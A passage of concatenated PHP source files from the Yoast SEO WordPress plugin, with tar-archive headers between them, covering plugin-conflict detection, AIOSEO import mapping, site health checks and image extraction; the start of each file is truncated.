'name' => \__( 'Tech Article', 'wordpress-seo' ),
'value' => 'TechArticle',
],
[
'name' => \__( 'Report', 'wordpress-seo' ),
'value' => 'Report',
],
[
'name' => \__( 'None', 'wordpress-seo' ),
'value' => 'None',
],
],
);
}
}
services/importing/conflicting-plugins-service.php 0000644 00000006224 15207625612 0016536 0 ustar 00 get_active_plugins();
// Search for active plugins.
return $this->get_active_conflicting_plugins( $all_active_plugins );
}
/**
* Deactivates the specified plugin(s) if any, or the entire list of known conflicting plugins.
*
* @param string|array|false $plugins Optional. The plugin filename, or array of plugin filenames, to deactivate.
*
* @return void
*/
public function deactivate_conflicting_plugins( $plugins = false ) {
// If no plugins are specified, deactivate any known conflicting plugins that are active.
if ( ! $plugins ) {
$plugins = $this->detect_conflicting_plugins();
}
// In case of a single plugin, wrap it in an array.
if ( \is_string( $plugins ) ) {
$plugins = [ $plugins ];
}
if ( ! \is_array( $plugins ) ) {
return;
}
// Deactivate all specified plugins across the network, while retaining their deactivation hook.
\deactivate_plugins( $plugins );
}
/**
* Loop through the list of known conflicting plugins to check if one of the plugins is active.
*
* @param array $all_active_plugins All plugins loaded by WordPress.
*
* @return array The array of activated conflicting plugins.
*/
protected function get_active_conflicting_plugins( $all_active_plugins ) {
$active_conflicting_plugins = [];
foreach ( Conflicting_Plugins::all_plugins() as $plugin ) {
if ( \in_array( $plugin, $all_active_plugins, true ) ) {
$active_conflicting_plugins[] = $plugin;
}
}
return $active_conflicting_plugins;
}
/**
* Get a list of all plugins active in the current WordPress instance.
*
* @return array|false The names of all active plugins.
*/
protected function get_active_plugins() {
// Request a list of active plugins from WordPress.
$all_active_plugins = \get_option( 'active_plugins' );
return $this->ignore_deactivating_plugin( $all_active_plugins );
}
/**
* While deactivating a plugin, we should ignore the plugin currently being deactivated.
*
* @param array $all_active_plugins All plugins currently loaded by WordPress.
*
* @return array The remaining active plugins.
*/
protected function ignore_deactivating_plugin( $all_active_plugins ) {
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are strictly comparing only.
if ( isset( $_GET['action'] ) && isset( $_GET['plugin'] ) && \is_string( $_GET['action'] ) && \is_string( $_GET['plugin'] ) && \wp_unslash( $_GET['action'] ) === 'deactivate' ) {
$deactivated_plugin = \sanitize_text_field( \wp_unslash( $_GET['plugin'] ) );
\check_admin_referer( 'deactivate-plugin_' . $deactivated_plugin );
$key_to_remove = \array_search( $deactivated_plugin, $all_active_plugins, true );
if ( $key_to_remove !== false ) {
unset( $all_active_plugins[ $key_to_remove ] );
}
}
return $all_active_plugins;
}
}
services/importing/importable-detector-service.php 0000644 00000005032 15207625612 0016521 0 ustar 00 importers = $importers;
}
/**
* Returns the detected importers that have data to work with.
*
* @param string|null $plugin The plugin name of the importer.
* @param string|null $type The type of the importer.
*
* @return array The detected importers that have data to work with.
*/
public function detect_importers( $plugin = null, $type = null ) {
$detectors = $this->filter_actions( $this->importers, $plugin, $type );
$detected = [];
foreach ( $detectors as $detector ) {
if ( $detector->is_enabled() && $detector->get_type() !== 'cleanup' && ! $detector->get_completed() && $detector->get_limited_unindexed_count( 1 ) > 0 ) {
$detected[ $detector->get_plugin() ][] = $detector->get_type();
}
}
return $detected;
}
/**
* Returns the detected cleanups that have data to work with.
*
* @param string|null $plugin The plugin name of the cleanup.
*
* @return array The detected importers that have data to work with.
*/
public function detect_cleanups( $plugin = null ) {
$detectors = $this->filter_actions( $this->importers, $plugin, 'cleanup' );
$detected = [];
foreach ( $detectors as $detector ) {
if ( $detector->is_enabled() && ! $detector->get_completed() && $detector->get_limited_unindexed_count( 1 ) > 0 ) {
$detected[ $detector->get_plugin() ][] = $detector->get_type();
}
}
return $detected;
}
/**
* Filters all import actions from a list that do not match the given Plugin or Type.
*
* @param Importing_Action_Interface[] $all_actions The complete list of actions.
* @param string|null $plugin The Plugin name whose actions to keep.
* @param string|null $type The type of actions to keep.
*
* @return array
*/
public function filter_actions( $all_actions, $plugin = null, $type = null ) {
return \array_filter(
$all_actions,
static function ( $action ) use ( $plugin, $type ) {
return $action->is_compatible_with( $plugin, $type );
},
);
}
}
services/importing/aioseo/aioseo-replacevar-service.php 0000644 00000006641 15207625612 0017443 0 ustar 00 '%%archive_title%%',
'#archive_date' => '%%date%%',
'#attachment_caption' => '%%caption%%',
'#author_bio' => '%%user_description%%',
'#author_first_name' => '%%author_first_name%%',
'#author_last_name' => '%%author_last_name%%',
'#author_name' => '%%name%%',
'#blog_title' => '%%sitename%%', // Same with #site_title.
'#categories' => '%%category%%',
'#current_date' => '%%currentdate%%',
'#current_day' => '%%currentday%%',
'#current_month' => '%%currentmonth%%',
'#current_year' => '%%currentyear%%',
'#parent_title' => '%%parent_title%%',
'#page_number' => '%%pagenumber%%',
'#permalink' => '%%permalink%%',
'#post_content' => '%%post_content%%',
'#post_date' => '%%date%%',
'#post_day' => '%%post_day%%',
'#post_month' => '%%post_month%%',
'#post_title' => '%%title%%',
'#post_year' => '%%post_year%%',
'#post_excerpt_only' => '%%excerpt_only%%',
'#post_excerpt' => '%%excerpt%%',
'#search_term' => '%%searchphrase%%',
'#separator_sa' => '%%sep%%',
'#site_title' => '%%sitename%%',
'#tagline' => '%%sitedesc%%',
'#taxonomy_title' => '%%category_title%%',
'#taxonomy_description' => '%%term_description%%',
];
/**
* Edits the replace_vars map of the class.
*
* @param string $aioseo_var The AIOSEO replacevar.
* @param string $yoast_var The Yoast replacevar.
*
* @return void
*/
public function compose_map( $aioseo_var, $yoast_var ) {
$map = $this->replace_vars_map;
$map[ $aioseo_var ] = $yoast_var;
$this->replace_vars_map = $map;
}
/**
* Transforms AIOSEO replacevars into Yoast replacevars.
*
* @param string $aioseo_replacevar The AIOSEO replacevar.
*
* @return string The Yoast replacevar.
*/
public function transform( $aioseo_replacevar ) {
$yoast_replacevar = \str_replace( \array_keys( $this->replace_vars_map ), \array_values( $this->replace_vars_map ), $aioseo_replacevar );
// Transform the '#custom_field-' tags into '%%cf_%%' ones.
$yoast_replacevar = \preg_replace_callback(
'/#custom_field-([a-zA-Z0-9_-]+)/',
static function ( $cf_matches ) {
return '%%cf_' . $cf_matches[1] . '%%';
},
$yoast_replacevar,
);
// Transform the '#tax_name-' tags into '%%ct_%%' ones.
$yoast_replacevar = \preg_replace_callback(
'/#tax_name-([a-zA-Z0-9_-]+)/',
static function ( $ct_matches ) {
return '%%ct_' . $ct_matches[1] . '%%';
},
$yoast_replacevar,
);
return $yoast_replacevar;
}
}
services/importing/aioseo/aioseo-robots-provider-service.php 0000644 00000003251 15207625612 0020451 0 ustar 00 aioseo_helper = $aioseo_helper;
}
/**
* Retrieves the robot setting set globally in AIOSEO.
*
* @param string $setting_name The name of the robot setting, eg. noindex.
*
* @return bool Whether global robot settings enable or not the specific setting.
*/
public function get_global_robot_settings( $setting_name ) {
$aioseo_settings = $this->aioseo_helper->get_global_option();
if ( empty( $aioseo_settings ) ) {
return false;
}
$global_robot_settings = $aioseo_settings['searchAppearance']['advanced']['globalRobotsMeta'];
if ( $global_robot_settings['default'] === true ) {
return false;
}
return $global_robot_settings[ $setting_name ];
}
/**
* Gets the subtype's robot setting from the db.
*
* @param array $mapping The mapping of the setting we're working with.
*
* @return bool The robot setting.
*/
public function get_subtype_robot_setting( $mapping ) {
$aioseo_settings = \json_decode( \get_option( $mapping['option_name'], '' ), true );
return $aioseo_settings['searchAppearance'][ $mapping['type'] ][ $mapping['subtype'] ]['advanced']['robotsMeta'][ $mapping['robot_type'] ];
}
}
services/importing/aioseo/aioseo-social-images-provider-service.php 0000644 00000010647 15207625612 0021665 0 ustar 00 aioseo_helper = $aioseo_helper;
$this->image = $image;
}
/**
* Retrieves the default source of social images.
*
* @param string $social_setting The social settings we're working with, eg. open-graph or twitter.
*
* @return string The default source of social images.
*/
public function get_default_social_image_source( $social_setting ) {
return $this->get_social_defaults( 'source', $social_setting );
}
/**
* Retrieves the default custom social image if there is any.
*
* @param string $social_setting The social settings we're working with, eg. open-graph or twitter.
*
* @return string The global default social image.
*/
public function get_default_custom_social_image( $social_setting ) {
return $this->get_social_defaults( 'custom_image', $social_setting );
}
/**
* Retrieves social defaults, be it Default Post Image Source or Default Post Image.
*
* @param string $setting The setting we want, eg. source or custom image.
* @param string $social_setting The social settings we're working with, eg. open-graph or twitter.
*
* @return string The social default.
*/
public function get_social_defaults( $setting, $social_setting ) {
switch ( $setting ) {
case 'source':
$setting_key = 'defaultImageSourcePosts';
break;
case 'custom_image':
$setting_key = 'defaultImagePosts';
break;
default:
return '';
}
$aioseo_settings = $this->aioseo_helper->get_global_option();
if ( $social_setting === 'og' ) {
$social_setting = 'facebook';
}
if ( ! isset( $aioseo_settings['social'][ $social_setting ]['general'][ $setting_key ] ) ) {
return '';
}
return $aioseo_settings['social'][ $social_setting ]['general'][ $setting_key ];
}
/**
* Retrieves the url of the first image in content.
*
* @param int $post_id The post id to extract the image from.
*
* @return string The url of the first image in content.
*/
public function get_first_image_in_content( $post_id ) {
$image = $this->image->get_gallery_image( $post_id );
if ( ! $image ) {
$image = $this->image->get_post_content_image( $post_id );
}
return $image;
}
/**
* Retrieves the url of the first attached image.
*
* @param int $post_id The post id to extract the image from.
*
* @return string The url of the first attached image.
*/
public function get_first_attached_image( $post_id ) {
if ( \get_post_type( $post_id ) === 'attachment' ) {
return $this->image->get_attachment_image_source( $post_id, 'fullsize' );
}
$attachments = \get_children(
[
'post_parent' => $post_id,
'post_status' => 'inherit',
'post_type' => 'attachment',
'post_mime_type' => 'image',
],
);
if ( $attachments && ! empty( $attachments ) ) {
return $this->image->get_attachment_image_source( \array_values( $attachments )[0]->ID, 'fullsize' );
}
return '';
}
/**
* Retrieves the url of the featured image.
*
* @param int $post_id The post id to extract the image from.
*
* @return string The url of the featured image.
*/
public function get_featured_image( $post_id ) {
$feature_image_id = \get_post_thumbnail_id( $post_id );
if ( $feature_image_id ) {
return $this->image->get_attachment_image_source( $feature_image_id, 'fullsize' );
}
return '';
}
/**
* Retrieves the url of the first available image. Tries each image source to get one image.
*
* @param int $post_id The post id to extract the image from.
*
* @return string The url of the featured image.
*/
public function get_auto_image( $post_id ) {
$image = $this->get_first_attached_image( $post_id );
if ( ! $image ) {
$image = $this->get_first_image_in_content( $post_id );
}
return $image;
}
}
services/importing/aioseo/aioseo-robots-transformer-service.php 0000644 00000003323 15207625612 0021161 0 ustar 00 robots_provider = $robots_provider;
}
/**
* Transforms the robot setting, taking into consideration whether they defer to global defaults.
*
* @param string $setting_name The name of the robot setting, eg. noindex.
* @param bool $setting_value The value of the robot setting.
* @param array $mapping The mapping of the setting we're working with.
*
* @return bool The transformed robot setting.
*/
public function transform_robot_setting( $setting_name, $setting_value, $mapping ) {
$aioseo_settings = \json_decode( \get_option( $mapping['option_name'], '' ), true );
// Let's check first if it defers to global robot settings.
if ( empty( $aioseo_settings ) || ! isset( $aioseo_settings['searchAppearance'][ $mapping['type'] ][ $mapping['subtype'] ]['advanced']['robotsMeta']['default'] ) ) {
return $setting_value;
}
$defers_to_defaults = $aioseo_settings['searchAppearance'][ $mapping['type'] ][ $mapping['subtype'] ]['advanced']['robotsMeta']['default'];
if ( $defers_to_defaults ) {
return $this->robots_provider->get_global_robot_settings( $setting_name );
}
return $setting_value;
}
}
services/indexables/indexable-version-manager.php 0000644 00000004440 15207625612 0016254 0 ustar 00 indexable_builder_versions = $indexable_builder_versions;
}
/**
* Determines if an Indexable has a lower version than the builder for that Indexable's type.
*
* @param Indexable $indexable The Indexable to check.
*
* @return bool True if the given version is older than the current latest version.
*/
public function indexable_needs_upgrade( $indexable ) {
if ( ( ! $indexable )
|| ( ! \is_a( $indexable, Indexable::class ) )
) {
return false;
}
return $this->needs_upgrade( $indexable->object_type, $indexable->version );
}
/**
* Determines if an Indexable version for the type is lower than the current version for that Indexable type.
*
* @param string $object_type The Indexable's object type.
* @param int $indexable_version The Indexable's version.
*
* @return bool True if the given version is older than the current latest version.
*/
protected function needs_upgrade( $object_type, $indexable_version ) {
$current_indexable_builder_version = $this->indexable_builder_versions->get_latest_version_for_type( $object_type );
// If the Indexable's version is below the current version, that Indexable needs updating.
return $indexable_version < $current_indexable_builder_version;
}
/**
* Sets an Indexable's version to the latest version.
*
* @param Indexable $indexable The Indexable to update.
*
* @return Indexable
*/
public function set_latest( $indexable ) {
if ( ! $indexable ) {
return $indexable;
}
$indexable->version = $this->indexable_builder_versions->get_latest_version_for_type( $indexable->object_type );
return $indexable;
}
}
services/health-check/default-tagline-runner.php 0000644 00000002311 15207625612 0015777 0 ustar 00 has_default_tagline = $translated_blog_description === $blog_description || $blog_description === self::DEFAULT_BLOG_DESCRIPTION;
}
/**
* Returns true if the tagline is set to a non-default tagline.
*
* @return bool The boolean indicating if the health check was succesful.
*/
public function is_successful() {
return ! $this->has_default_tagline;
}
}
services/health-check/default-tagline-reports.php 0000644 00000004411 15207625612 0016167 0 ustar 00 report_builder_factory = $report_builder_factory;
}
/**
* Returns the message for a successful health check.
*
* @return string[] The message as a WordPress site status report.
*/
public function get_success_result() {
return $this->get_report_builder()
->set_label( \__( 'You changed the default WordPress tagline', 'wordpress-seo' ) )
->set_status_good()
->set_description( \__( 'You are using a custom tagline or an empty one.', 'wordpress-seo' ) )
->build();
}
/**
* Returns the message for a failed health check. In this case, when the user still has the default WordPress tagline set.
*
* @return string[] The message as a WordPress site status report.
*/
public function get_has_default_tagline_result() {
return $this->get_report_builder()
->set_label( \__( 'You should change the default WordPress tagline', 'wordpress-seo' ) )
->set_status_recommended()
->set_description( \__( 'You still have the default WordPress tagline. Even an empty one is probably better.', 'wordpress-seo' ) )
->set_actions( $this->get_actions() )
->build();
}
/**
* Returns the actions that the user should take when his tagline is still set to the WordPress default.
*
* @return string The actions as an HTML string.
*/
private function get_actions() {
$query_args = [
'autofocus[control]' => 'blogdescription',
];
$customize_url = \add_query_arg( $query_args, \wp_customize_url() );
return \sprintf(
/* translators: 1: link open tag; 2: link close tag. */
\esc_html__( '%1$sYou can change the tagline in the customizer%2$s.', 'wordpress-seo' ),
'',
'',
);
}
}
services/health-check/health-check.php 0000644 00000004455 15207625612 0013756 0 ustar 00 runner = $runner;
}
/**
* Returns the identifier of health check implementation. WordPress needs this to manage the health check (https://developer.wordpress.org/reference/hooks/site_status_tests/).
*
* @return string The identifier that WordPress requires.
*/
public function get_test_identifier() {
$full_class_name = static::class;
$class_name_backslash_index = \strrpos( $full_class_name, '\\' );
$class_name = $full_class_name;
if ( $class_name_backslash_index ) {
$class_name_index = ( $class_name_backslash_index + 1 );
$class_name = \substr( $full_class_name, $class_name_index );
}
$lowercase = \strtolower( $class_name );
$whitespace_as_dashes = \str_replace( '_', '-', $lowercase );
$with_prefix = self::TEST_IDENTIFIER_PREFIX . $whitespace_as_dashes;
return $with_prefix;
}
/**
* Runs the health check, and returns its result in the format that WordPress requires to show the results to the user (https://developer.wordpress.org/reference/hooks/site_status_test_result/).
*
* @return string[] The array containing a WordPress site status report.
*/
public function run_and_get_result() {
$this->runner->run();
return $this->get_result();
}
/**
* Gets the result from the health check implementation.
*
* @return string[] The array containing a WordPress site status report.
*/
abstract protected function get_result();
/**
* Returns whether the health check should be excluded from the results.
*
* @return bool Whether the check should be excluded.
*/
abstract public function is_excluded();
}
services/health-check/postname-permalink-reports.php 0000644 00000005251 15207625612 0016733 0 ustar 00 report_builder_factory = $report_builder_factory;
}
/**
* Returns the report for when permalinks are set to contain the post name.
*
* @return string[] The message as a WordPress site status report.
*/
public function get_success_result() {
return $this->get_report_builder()
->set_label( \esc_html__( 'Your permalink structure includes the post name', 'wordpress-seo' ) )
->set_status_good()
->set_description( \__( 'You do have your postname in the URL of your posts and pages.', 'wordpress-seo' ) )
->build();
}
/**
* Returns the report for when permalinks are not set to contain the post name.
*
* @return string[] The message as a WordPress site status report.
*/
public function get_has_no_postname_in_permalink_result() {
return $this->get_report_builder()
->set_label( \__( 'You do not have your postname in the URL of your posts and pages', 'wordpress-seo' ) )
->set_status_recommended()
->set_description( $this->get_has_no_postname_in_permalink_description() )
->set_actions( $this->get_has_no_postname_in_permalink_actions() )
->build();
}
/**
* Returns the description for when permalinks are not set to contain the post name.
*
* @return string The description as a string.
*/
private function get_has_no_postname_in_permalink_description() {
return \sprintf(
/* translators: %s expands to '/%postname%/' */
\__( 'It\'s highly recommended to have your postname in the URL of your posts and pages. Consider setting your permalink structure to %s.', 'wordpress-seo' ),
'/%postname%/',
);
}
/**
* Returns the actions for when permalinks are not set to contain the post name.
*
* @return string The actions as a string.
*/
private function get_has_no_postname_in_permalink_actions() {
return \sprintf(
/* translators: %1$s is a link start tag to the permalink settings page, %2$s is the link closing tag. */
\__( 'You can fix this on the %1$sPermalink settings page%2$s.', 'wordpress-seo' ),
'',
'',
);
}
}
services/health-check/page-comments-runner.php 0000644 00000001503 15207625613 0015474 0 ustar 00 comments_on_single_page = false;
}
/**
* Runs the health check. Checks if comments are displayed on a single page.
*
* @return void
*/
public function run() {
$this->comments_on_single_page = \get_option( 'page_comments' ) !== '1';
}
/**
* Returns true if comments are displayed on a single page.
*
* @return bool True if comments are displayed on a single page.
*/
public function is_successful() {
return $this->comments_on_single_page;
}
}
services/health-check/myyoast-api-request-factory.php 0000644 00000000751 15207625613 0017041 0 ustar 00 runner = $runner;
$this->reports = $reports;
$this->reports->set_test_identifier( $this->get_test_identifier() );
$this->set_runner( $this->runner );
}
/**
* Returns the WordPress-friendly health check result.
*
* @return string[] The WordPress-friendly health check result.
*/
protected function get_result() {
if ( $this->runner->is_successful() ) {
return $this->reports->get_success_result();
}
return $this->reports->get_has_comments_on_multiple_pages_result();
}
/**
* Returns whether the health check should be excluded from the results.
*
* @return bool false, because it's not excluded.
*/
public function is_excluded() {
return false;
}
}
services/health-check/postname-permalink-runner.php 0000644 00000001614 15207625613 0016546 0 ustar 00 permalinks_contain_postname = false;
}
/**
* Runs the health check. Checks if permalinks are set to contain the post name.
*
* @return void
*/
public function run() {
$this->permalinks_contain_postname = ( \strpos( \get_option( 'permalink_structure' ), '%postname%' ) !== false );
}
/**
* Returns true if permalinks are set to contain the post name.
*
* @return bool True if permalinks are set to contain the post name.
*/
public function is_successful() {
return $this->permalinks_contain_postname;
}
}
services/health-check/links-table-reports.php 0000644 00000006653 15207625613 0015342 0 ustar 00 report_builder_factory = $report_builder_factory;
$this->shortlinker = $shortlinker;
}
/**
* Returns the message for a successful health check.
*
* @return string[] The message as a WordPress site status report.
*/
public function get_success_result() {
return $this->get_report_builder()
->set_label( \__( 'The text link counter is working as expected', 'wordpress-seo' ) )
->set_status_good()
->set_description( $this->get_success_description() )
->build();
}
/**
* Returns the message for a failed health check.
*
* @return string[] The message as a WordPress site status report.
*/
public function get_links_table_not_accessible_result() {
return $this->get_report_builder()
->set_label( \__( 'The text link counter feature is not working as expected', 'wordpress-seo' ) )
->set_status_recommended()
->set_description( $this->get_links_table_not_accessible_description() )
->set_actions( $this->get_actions() )
->build();
}
/**
* Returns the description for when the health check was successful.
*
* @return string The description as a string.
*/
private function get_success_description() {
return \sprintf(
/* translators: 1: Link to the Yoast SEO blog, 2: Link closing tag. */
\esc_html__( 'The text link counter helps you improve your site structure. %1$sFind out how the text link counter can enhance your SEO%2$s.', 'wordpress-seo' ),
'',
WPSEO_Admin_Utils::get_new_tab_message() . '',
);
}
/**
* Returns the description for when the health couldn't access the links table.
*
* @return string The description as a string.
*/
private function get_links_table_not_accessible_description() {
return \sprintf(
/* translators: 1: Yoast SEO. */
\__( 'For this feature to work, %1$s needs to create a table in your database. We were unable to create this table automatically.', 'wordpress-seo' ),
'Yoast SEO',
);
}
/**
* Returns the actions that the user should take when the links table is not accessible.
*
* @return string The actions as a string.
*/
private function get_actions() {
return \sprintf(
/* translators: 1: Link to the Yoast help center, 2: Link closing tag. */
\esc_html__( '%1$sFind out how to solve this problem on our help center%2$s.', 'wordpress-seo' ),
'',
WPSEO_Admin_Utils::get_new_tab_message() . '',
);
}
}
services/health-check/default-tagline-check.php 0000644 00000002633 15207625613 0015553 0 ustar 00 runner = $runner;
$this->reports = $reports;
$this->reports->set_test_identifier( $this->get_test_identifier() );
$this->set_runner( $this->runner );
}
/**
* Returns the WordPress-friendly health check result.
*
* @return string[] The WordPress-friendly health check result.
*/
protected function get_result() {
if ( $this->runner->is_successful() ) {
return $this->reports->get_success_result();
}
return $this->reports->get_has_default_tagline_result();
}
/**
* Returns whether the health check should be excluded from the results.
*
* @return bool false, because it's not excluded.
*/
public function is_excluded() {
return false;
}
}
services/health-check/report-builder-factory.php 0000644 00000000720 15207625613 0016032 0 ustar 00 set_test_identifier( $test_identifier );
}
}
services/health-check/page-comments-reports.php 0000644 00000004612 15207625613 0015665 0 ustar 00 report_builder_factory = $report_builder_factory;
}
/**
* Returns the report for when comments are set to be all on one page.
*
* @return string[] The message as a WordPress site status report.
*/
public function get_success_result() {
return $this->get_report_builder()
->set_label( \esc_html__( 'Comments are displayed on a single page', 'wordpress-seo' ) )
->set_status_good()
->set_description( \__( 'Comments on your posts are displayed on a single page. This is just like we\'d suggest it. You\'re doing well!', 'wordpress-seo' ) )
->build();
}
/**
* Returns the report for when comments are set to be broken up across multiple pages.
*
* @return string[] The message as a WordPress site status report.
*/
public function get_has_comments_on_multiple_pages_result() {
return $this->get_report_builder()
->set_label( \__( 'Comments break into multiple pages', 'wordpress-seo' ) )
->set_status_recommended()
->set_description( \__( 'Comments on your posts break into multiple pages. As this is not needed in 999 out of 1000 cases, we recommend you disable it. To fix this, uncheck "Break comments into pages..." on the Discussion Settings page.', 'wordpress-seo' ) )
->set_actions( $this->get_has_comments_on_multiple_pages_actions() )
->build();
}
/**
* Returns the actions for when the comments are set to be broken up across multiple pages.
*
* @return string The actions as a string.
*/
private function get_has_comments_on_multiple_pages_actions() {
return \sprintf(
/* translators: 1: Opening tag of the link to the discussion settings page, 2: Link closing tag. */
\esc_html__( '%1$sGo to the Discussion Settings page%2$s', 'wordpress-seo' ),
'',
'',
);
}
}
services/health-check/links-table-check.php 0000644 00000003773 15207625614 0014722 0 ustar 00 runner = $runner;
$this->reports = $reports;
$this->should_index_links_conditional = $should_index_links_conditional;
$this->reports->set_test_identifier( $this->get_test_identifier() );
$this->set_runner( $this->runner );
}
/**
* Returns the WordPress-friendly health check result.
*
* @return string[] The WordPress-friendly health check result.
*/
protected function get_result() {
if ( $this->runner->is_successful() ) {
return $this->reports->get_success_result();
}
return $this->reports->get_links_table_not_accessible_result();
}
/**
* Returns whether the health check should be excluded from the results.
*
* @return bool false, because it's not excluded.
*/
public function is_excluded() {
return ! $this->should_index_links_conditional->is_met();
}
}
services/health-check/reports-trait.php 0000644 00000001637 15207625614 0014256 0 ustar 00 test_identifier = $test_identifier;
}
/**
* Returns a new Report_Builder instance using the set test identifier.
*
* @return Report_Builder
*/
private function get_report_builder() {
return $this->report_builder_factory->create( $this->test_identifier );
}
}
services/health-check/postname-permalink-check.php 0000644 00000002635 15207625614 0016317 0 ustar 00 runner = $runner;
$this->reports = $reports;
$this->reports->set_test_identifier( $this->get_test_identifier() );
$this->set_runner( $this->runner );
}
/**
* Returns the WordPress-friendly health check result.
*
* @return string[] The WordPress-friendly health check result.
*/
protected function get_result() {
if ( $this->runner->is_successful() ) {
return $this->reports->get_success_result();
}
return $this->reports->get_has_no_postname_in_permalink_result();
}
/**
* Returns whether the health check should be excluded from the results.
*
* @return bool false, because it's not excluded.
*/
public function is_excluded() {
return false;
}
}
services/health-check/report-builder.php 0000644 00000011670 15207625614 0014374 0 ustar 00 label = $label;
return $this;
}
/**
* Sets the name for the test that the plugin uses to identify the test.
*
* @param string $test_identifier The identifier for the health check.
* @return Report_Builder This builder.
*/
public function set_test_identifier( $test_identifier ) {
$this->test_identifier = $test_identifier;
return $this;
}
/**
* Sets the status of the test result to GOOD (green label).
*
* @return Report_Builder This builder.
*/
public function set_status_good() {
$this->status = self::STATUS_GOOD;
return $this;
}
/**
* Sets the status of the test result to RECOMMENDED (orange label).
*
* @return Report_Builder This builder.
*/
public function set_status_recommended() {
$this->status = self::STATUS_RECOMMENDED;
return $this;
}
/**
* Sets the status of the test result to CRITICAL (red label).
*
* @return Report_Builder This builder.
*/
public function set_status_critical() {
$this->status = self::STATUS_CRITICAL;
return $this;
}
/**
* Sets a description for the test result. This will be the heading for the result in the user interface.
*
* @param string $description The description for the test result.
* @return Report_Builder This builder.
*/
public function set_description( $description ) {
$this->description = $description;
return $this;
}
/**
* Sets a text that describes how the user can solve the failed health check.
*
* @param string $actions The descriptive text.
* @return Report_Builder This builder.
*/
public function set_actions( $actions ) {
$this->actions = $actions;
return $this;
}
/**
* Builds an array of strings in the format that WordPress uses to display health checks (https://developer.wordpress.org/reference/hooks/site_status_test_result/).
*
* @return array The report in WordPress' site status report format.
*/
public function build() {
return [
'label' => $this->label,
'status' => $this->status,
'badge' => $this->get_badge(),
'description' => $this->description,
'actions' => $this->get_actions_with_signature(),
'test' => $this->test_identifier,
];
}
/**
* Generates a badge that the user can see.
*
* @return string[] The badge.
*/
private function get_badge() {
return [
'label' => $this->get_badge_label(),
'color' => $this->get_badge_color(),
];
}
/**
* Generates the label for a badge.
*
* @return string The badge label.
*/
private function get_badge_label() {
return \__( 'SEO', 'wordpress-seo' );
}
/**
* Generates the color for the badge using the current status.
*
* @return string The color for the badge's outline.
*/
private function get_badge_color() {
if ( $this->status === self::STATUS_CRITICAL || $this->status === self::STATUS_RECOMMENDED ) {
return 'red';
}
return 'blue';
}
/**
* Concatenates the set actions with Yoast's signature.
*
* @return string A string containing the set actions and Yoast's signature.
*/
private function get_actions_with_signature() {
return $this->actions . $this->get_signature();
}
/**
* Generates Yoast's signature that's displayed at the bottom of the health check result.
*
* @return string Yoast's signature as an HTML string.
*/
private function get_signature() {
return \sprintf(
/* translators: 1: Start of a paragraph beginning with the Yoast icon, 2: Expands to 'Yoast SEO', 3: Paragraph closing tag. */
\esc_html__( '%1$sThis was reported by the %2$s plugin%3$s', 'wordpress-seo' ),
'
',
'Yoast SEO',
'
',
);
}
}
services/health-check/links-table-runner.php 0000644 00000003121 15207625614 0015141 0 ustar 00 migration_status = $migration_status;
$this->options_helper = $options_helper;
}
/**
* Runs the health check. Checks if the tagline is set to WordPress' default tagline, or to its set translation.
*
* @return void
*/
public function run() {
$this->links_table_accessible = $this->migration_status->is_version( 'free', \WPSEO_VERSION );
}
/**
* Returns true if the links table is accessible
*
* @return bool The boolean indicating if the health check was succesful.
*/
public function is_successful() {
return $this->links_table_accessible;
}
}
services/health-check/runner-interface.php 0000644 00000000425 15207625614 0014700 0 ustar 00 gather_images_wp( $content );
}
if ( ! $should_not_parse_content && \class_exists( DOMDocument::class ) ) {
return $this->gather_images_DOMDocument( $content );
}
if ( \strpos( $content, 'src' ) === false ) {
// Nothing to do.
return [];
}
$images = [];
$regexp = ']*src=("??)([^" >]*?)\\1[^>]*>';
// Used modifiers iU to match case insensitive and make greedy quantifiers lazy.
if ( \preg_match_all( "/$regexp/iU", $content, $matches, \PREG_SET_ORDER ) ) {
foreach ( $matches as $match ) {
$images[ $match[2] ] = 0;
}
}
return $images;
}
/**
* Gathers all images from content with WP's WP_HTML_Tag_Processor() and returns them along with their IDs, if
* possible.
*
* @param string $content The content.
*
* @return int[] An associated array of image IDs, keyed by their URL.
*/
protected function gather_images_wp( $content ) {
$processor = new WP_HTML_Tag_Processor( $content );
$images = [];
$query = [
'tag_name' => 'img',
];
/**
* Filter 'wpseo_image_attribute_containing_id' - Allows filtering what attribute will be used to extract image IDs from.
*
* Defaults to "class", which is where WP natively stores the image IDs, in a `wp-image-` format.
*
* @api string The attribute to be used to extract image IDs from.
*/
$attribute = \apply_filters( 'wpseo_image_attribute_containing_id', 'class' );
while ( $processor->next_tag( $query ) ) {
$src_raw = $processor->get_attribute( 'src' );
if ( ! $src_raw ) {
continue;
}
$src = \htmlentities( $src_raw, ( \ENT_QUOTES | \ENT_SUBSTITUTE | \ENT_HTML401 ), \get_bloginfo( 'charset' ) );
$classes = $processor->get_attribute( $attribute );
$id = $this->extract_id_of_classes( $classes );
$images[ $src ] = $id;
}
return $images;
}
/**
* Gathers all images from content with DOMDocument() and returns them along with their IDs, if possible.
*
* @param string $content The content.
*
* @return int[] An associated array of image IDs, keyed by their URL.
*/
protected function gather_images_domdocument( $content ) {
$images = [];
$charset = \get_bloginfo( 'charset' );
/**
* Filter 'wpseo_image_attribute_containing_id' - Allows filtering what attribute will be used to extract image IDs from.
*
* Defaults to "class", which is where WP natively stores the image IDs, in a `wp-image-` format.
*
* @api string The attribute to be used to extract image IDs from.
*/
$attribute = \apply_filters( 'wpseo_image_attribute_containing_id', 'class' );
\libxml_use_internal_errors( true );
$post_dom = new DOMDocument();
$post_dom->loadHTML( '' . $content );
\libxml_clear_errors();
foreach ( $post_dom->getElementsByTagName( 'img' ) as $img ) {
$src = \htmlentities( $img->getAttribute( 'src' ), ( \ENT_QUOTES | \ENT_SUBSTITUTE | \ENT_HTML401 ), $charset );
$classes = $img->getAttribute( $attribute );
$id = $this->extract_id_of_classes( $classes );
$images[ $src ] = $id;
}
return $images;
}
/**
* Extracts image ID out of the image's classes.
*
* @param string $classes The classes assigned to the image.
*
* @return int The ID that's extracted from the classes.
*/
protected function extract_id_of_classes( $classes ) {
if ( ! $classes ) {
return 0;
}
/**
* Filter 'wpseo_extract_id_pattern' - Allows filtering the regex patern to be used to extract image IDs from class/attribute names.
*
* Defaults to the pattern that extracts image IDs from core's `wp-image-` native format in image classes.
*
* @api string The regex pattern to be used to extract image IDs from class names. Empty string if the whole class/attribute should be returned.
*/
$pattern = \apply_filters( 'wpseo_extract_id_pattern', '/(?time_start = $time_start;
$this->time_end = $time_end;
}
/**
* Checks if the given time is within the interval.
*
* @param int $time The time to check.
*
